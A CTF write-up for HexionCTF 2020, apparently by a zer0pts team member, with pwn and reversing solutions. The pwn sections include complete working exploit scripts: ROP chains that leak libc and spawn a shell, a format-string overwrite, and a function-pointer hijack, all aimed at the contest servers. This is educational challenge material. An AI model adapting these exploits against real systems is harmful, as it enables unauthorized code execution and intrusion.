I played HexionCTF in zer0pts and we got 1st place. The tasks are decent-level, fun and well-designed. Thank you @hexion_team for the nice CTF!
Other member's writeup:
- [Pwn 940pts] WWW
- [Pwn 988pts] Hangman
- [Pwn 998pts] Text Decorator
- [Pwn 991pts] Tic Tac Toe
- [Rev 988pts] Serial Killer
- [Rev 977pts] PIL
- [Rev 983pts] Nameless
Tasks and solvers:
Description: challenge[pwn] = me Server: nc challenges1.hexionteam.com 3002 File: www, www.c, libc
PIE is disabled.
$ checksec -f www RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols Yes 0 2 www
The program is so simple.
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); int amount = 1; char buf[] = "Hello World!"; while (amount--) { write(what(), where(), buf); } printf(buf); }
We can overwrite a stack variable at a specific index with a specific character.
You'll immediately notice that you have to overwrite amount
first so that it won't quit.
We can simply overwrite the return address since PIE is disabled.
from ptrlib import * libc = ELF("./libc") elf = ELF("./www") sock = Socket("challenges1.hexionteam.com", 3002) rop_pop_rdi = 0x004008a3 chain = p64(rop_pop_rdi + 1) chain += p64(rop_pop_rdi) chain += p64(elf.got('printf')) chain += p64(elf.plt('printf')) chain += p64(elf.symbol('_start')) sock.sendline(str(-7)) sock.sendline(chr(len(chain))) addr = elf.symbol('main') for i, c in enumerate(chain): sock.sendline(str(0x25 + 8 + i)) sock.sendline(chr(c)) sock.recvuntil('Hello World!') libc_base = u64(sock.recv(6)) - libc.symbol('printf') logger.info("libc = " + hex(libc_base)) chain = p64(rop_pop_rdi + 1) chain += p64(rop_pop_rdi) chain += p64(libc_base + next(libc.find('/bin/sh'))) chain += p64(libc_base + libc.symbol('system')) sock.sendline(str(-7)) sock.sendline(chr(len(chain))) addr = elf.symbol('main') for i, c in enumerate(chain): sock.sendline(str(0x25 + 8 + i)) sock.sendline(chr(c)) sock.interactive()
Note: flag is in ./flag Server: nc challenges1.hexionteam.com 3000 Files: hangman, hangman.c, words.list
SSP, PIE are disabled.
$ checksec -f hangman RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 95 Symbols No 0 6 hangman
The vulnerability is off-by-one in guessWord
fucntion.
for (i = 0; i <= len; i++) { game->buffer[i] = (char)getchar(); if (game->buffer[i] == '\n') { break; } }
The maximum length we can input is located right after the buffer, which we can overwrite.
struct hangmanGame { char word[WORD_MAX_LEN]; char *realWord; char buffer[WORD_MAX_LEN]; int wordLen; int hp; };
We can change wordLen
to a big value, which causes stack overflow in the next call of guessWord
.
I wrote ROP chain to leak address and get the shell, but the intended solution is perhaps reading the flag as a wordlist (since libc is not given).
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF("./hangman") sock = Socket("challenges1.hexionteam.com", 3000) rop_pop_rdi = 0x004019a3 payload = b'\xff' * 0x21 sock.sendlineafter("choice: ", "2") sock.sendafter("word: ", payload) sock.sendlineafter("choice: ", "2") payload = b'\xff' * 0x40 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("_start")) sock.sendlineafter("word: ", payload) sock.recvline() sock.recvline() sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol('puts') logger.info("libc = " + hex(libc_base)) payload = b'\xff' * 0x21 sock.sendlineafter("choice: ", "2") sock.sendafter("word: ", payload) sock.sendlineafter("choice: ", "2") payload = b'\xff' * 0x40 payload += p64(rop_pop_rdi + 1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock.sendlineafter("word: ", payload) sock.interactive()
Description: I just finished my C course, so I wanted to show off my new skill. I made this cool program, that lets you decorate text and I think I did a good job. I'm sure my product is not perfect, but I think it's at least safe. Can you prove me wrong? Server: nc challenges2.hexionteam.com 3001 Files: text_decorator, text_decorator.c, text_decorator.h, example.bin
PIE is disabled.
$ checksec -f text_decorator RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 97 Symbols Yes 0 8 text_decorator
Hard to find, but the vulnerability is here:
if (is_decorator) { line->type = DECORATOR; if(decorator) line->content.decorated.decorator = decorator; memcpy(line->content.decorated.text, line_content, MAX_LINE_LENGTH); }
There're also a heap overflow vuln, but it's not necessary.
You can see line->content.decorated.decorator
will not be overwritten when decorator
is null.
Decorator is null when we don't decorate the line:
success = add_line(temp_text, is_decorated, ((is_decorated) ? choose_decorator_menu() : NULL));
and also when the decoration is wrong:
decorator_ptr get_decorator_ptr(char decorator_symbol) { switch (decorator_symbol) { case 'r': return red_decorator; case 'g': return green_decorator; case 'b': return blue_decorator; default: printf("Invalid choice, no decorator will be used.\n"); return NULL; } }
So, if we choose something wrong as a decorator, it won't overwrite the function pointer. This means the leftover is regarded as a function pointer. We can prepare an arbitrary data here since it overlaps text buffer when it's not decrated.
typedef struct text_line { union { struct { decorator_ptr decorator; char text[MAX_LINE_LENGTH]; } decorated; char raw_text[MAX_LINE_LENGTH]; } content; text_line_type type; } text_line;
The function pointer is used in print_text
function.
decorated_text = line->content.decorated.decorator(line->content.decorated.text); printf("%s", decorated_text); free(decorated_text);
The return value of our call must be a "free-able" pointer or null so that it won't crash. I'd been stuck here for a while because I couldn't find any useful gadget for getting the shell. However, it turned out I needn't to get the shell. There's a helpful function in the program.
void load_from_file(char * file_name)
It returns null as the canary check is successful (which means rax=0). This is why there's example input prepared.
from ptrlib import * def add(text, color=None): sock.sendlineafter("choice: ", "1") sock.sendlineafter(":\n", text) if color is not None: sock.sendlineafter("? ", "Y") sock.sendlineafter("choice: ", color) else: sock.sendlineafter("? ", "n") def show(): sock.sendlineafter("choice: ", "2") lines = [] while True: r = sock.recvline() if b"1. Add line" in r: break lines.append(r) return lines def remove(): sock.sendlineafter("choice: ", "3") elf = ELF("./text_decorator") sock = Socket("challenges2.hexionteam.com", 3001) plt_printf = 0x401080 add(p64(elf.symbol('load_from_file'))) remove() add('flag\0', 'x') sock.sendlineafter("choice: ", "2") sock.interactive()
The final exploit itself is very simple, but it was really time-consuming :)
Description: Can you beat me? Server: ssh [email protected] -p 3004 Password: hexctf
The goal is to defeat the AI, which is impossible.
case PLAYER: { FILE *flag = fopen("flag", "r"); fgets(message, 40, flag); puts(message); break; }
The vulnerability is a simple FSB.
puts("Please enter your name: "); scanf("%24s", name); getchar(); snprintf(message, 100, "Welcome %s!\n", name); printf(message);
RELRO is enabled but there's a useful function pointer.
logic_func DIFFICULTY = IMPOSSIBLE;
The function makes AI moves, so I simply overwrote this to a ret
gadget.
The only hard point is to make the exploit work over SSH.
I used socat to relay the terminal.
from ptrlib import * import time elf = ELF("./ttt") """ sock = Process("./ttt") """ sock = Socket("localhost", 9999) sock.recvuntil("password: ") sock.sendline("hexctf") sock.recvuntil("$ ") sock.sendline("./ttt") payload = fsb( pos = 8, writes = {elf.symbol('DIFFICULTY'): 0xcfe - 8}, bs = 2, bits = 64, null = False ) print(len(payload), payload) sock.sendlineafter(": \r\n", payload[:-1]) time.sleep(1) sock.sendlineafter("ENTER to begin", "") time.sleep(1) sock.sendline("a a a sa a a sa a aq") sock.interactive()
Socat option:
socat TCP-L:9999,reuseaddr,fork EXEC:"ssh [email protected] -p 3004",pty,setsid,ctty
Description: The police had obtained some weird looking files, we'll let you figure out what they do. Files: hex.gb, hex.sym
We're given a GameBoy ROM, along with its symbol table kindly.
According to the symbol table, main
function is located at 0x200.
I used Ghidra to analyse this binary. In the main function is the following loop. (After printing "Transfering Flag...")
while (bVar2 = (byte)((ushort)uVar3 >> 8) ^ 0x80, (bStack3 ^ 0x80) < bVar2 || (byte)((bStack3 ^ 0x80) - bVar2) < (bStack4 < (byte)uVar3)) { DAT_c0c9 = (&DAT_c0a0)[CONCAT11(bStack3,bStack4)] ^ 0x42; FUN_02ae(DAT_c0c9); bStack4 = bStack4 + 1; if (bStack4 == 0) { bStack3 = bStack3 + 1; } }
It xors data located at 0xc0a0 with the key 0x42.
Checking the XREFs of DAT_c0a0
, we notice FUN_1e8d
initializes the data.
void FUN_1e8d(void) { DAT_c0a0 = 0x2a; DAT_c0a1 = 0x27; DAT_c0a2 = 0x3a; DAT_c0a3 = 1; ...
By xoring them with 0x42, I got the flag.
Description: Our team detected a suspicious image, and managed to get a code of some sort, and we think they are related. Can you investigate this subject and see if you can give us more data? Files: source, result.bmp
We're given a bitmap image and .NET IL code. .NET IL is human-friendly. I manually decompiled the IL to the following pseudo C# code.
using System; using System.IO; using System.Text.Encoding; class Program { File piFile; private static void Main(string []args) { piFile = File("one-million-digits.txt"); Hide("original.bmp", "result.bmp", "<CENSORED>"); return; } private static void Hide(string srcPath, string dstPath, string secret) { BitArray secret_bits = new BitArray(GetBytes(secret)); Bytes buf[] = ReadAllBytes(srcPath); int hoge = src[14] + 14; for(int i = 0; i < secret_bits.length(); i++) { int ofs = GetNextPiDigit() + hoge; char x = src[ofs] & 0xfe; buf[ofs] = (char)secret_bits[i] + x; hoge += 10; } WriteAllBytes(dstPath, buf); } private static int GetNextPiDigit() { int digit = piFile.ReadByte(); if (digit == 0x0A) { digit = piFile.ReadByte(); } return digit - 0x30; } }
I simply wrote the decoder.
from ptrlib import * pi = """ 14159265358979323846264338327950288419716939937510 58209749445923078164062862089986280348253421170679 82148086513282306647093844609550582231725359408128 48111745028410270193852110555964462294895493038196 44288109756659334461284756482337867831652712019091 45648566923460348610454326648213393607260249141273 72458700660631558817488152092096282925409171536436 78925903600113305305488204665213841469519415116094 33057270365759591953092186117381932611793105118548 07446237996274956735188575272489122793818301194912 98336733624406566430860213949463952247371907021798 60943702770539217176293176752384674818467669405132 00056812714526356082778577134275778960917363717872 14684409012249534301465495853710507922796892589235 42019956112129021960864034418159813629774771309960 51870721134999999837297804995105973173281609631859 50244594553469083026425223082533446850352619311881 71010003137838752886587533208381420617177669147303 59825349042875546873115956286388235378759375195778 18577805321712268066130019278766111959092164201989 """.replace("\n", "") with open("result.bmp", "rb") as f: f.seek(14) size = u32(f.read(4)) f.seek(14 + size) flag = '' for j in range(64): c = 0 for i in range(8): buf = f.read(10) c |= (buf[int(pi[j*8 + i])] & 1) << i flag += chr(c) print(flag)
Description: Strip my statically linked clothes off Files: nameless, out.txt
The ELF is statically linked and stripped but it's so simple that I could decompile it within 5 min.
int main() { srand(time(NULL)); FILE *fin = fopen("flag.txt", "r"); FILE *fout = fopen("out.txt", "w"); char c; while((c = fgetc(fin)) != -1) { fputc(c ^ (1 + (rand() % 1638)), fout); } fclose(fin); fclose(fout); }
Since the files are distributed in rar archive, the date when out.txt
was created is recorded.
I wrote a script which decrypts the file until it finds the plaintext mostly made of printable characters.
from ptrlib import * from datetime import datetime, timezone, timedelta import ctypes import string def encrypt(data): out = b'' for c in data: out += bytes([c ^ ((1 + (glibc.rand() % 1638)) & 0xff)]) return out with open("out.txt", "rb") as f: encrypted = f.read() glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so') time = '2020/04/10 19:01:59' date = datetime.strptime(time, '%Y/%m/%d %H:%M:%S') print(date) date += timedelta(hours=9) print(date) for t in range(int(date.timestamp()), 0, -1): glibc.srand(t) m = encrypt(encrypted) if consists_of(m, string.printable, per=0.9): print("Hit: " + str(t)) break if t % 1000 == 0: print(t) glibc.srand(t) print(encrypt(encrypted))
Be noticed I added timedelta because the timezone is JST in my PC.
$ python solve.py 2020-04-10 19:01:59 2020-04-11 04:01:59 1586545000 1586544000 1586543000 1586542000 Hit: 1586541672 b'hexCTF{nam3s_ar3_h4rd_t0_r3m3mb3r}'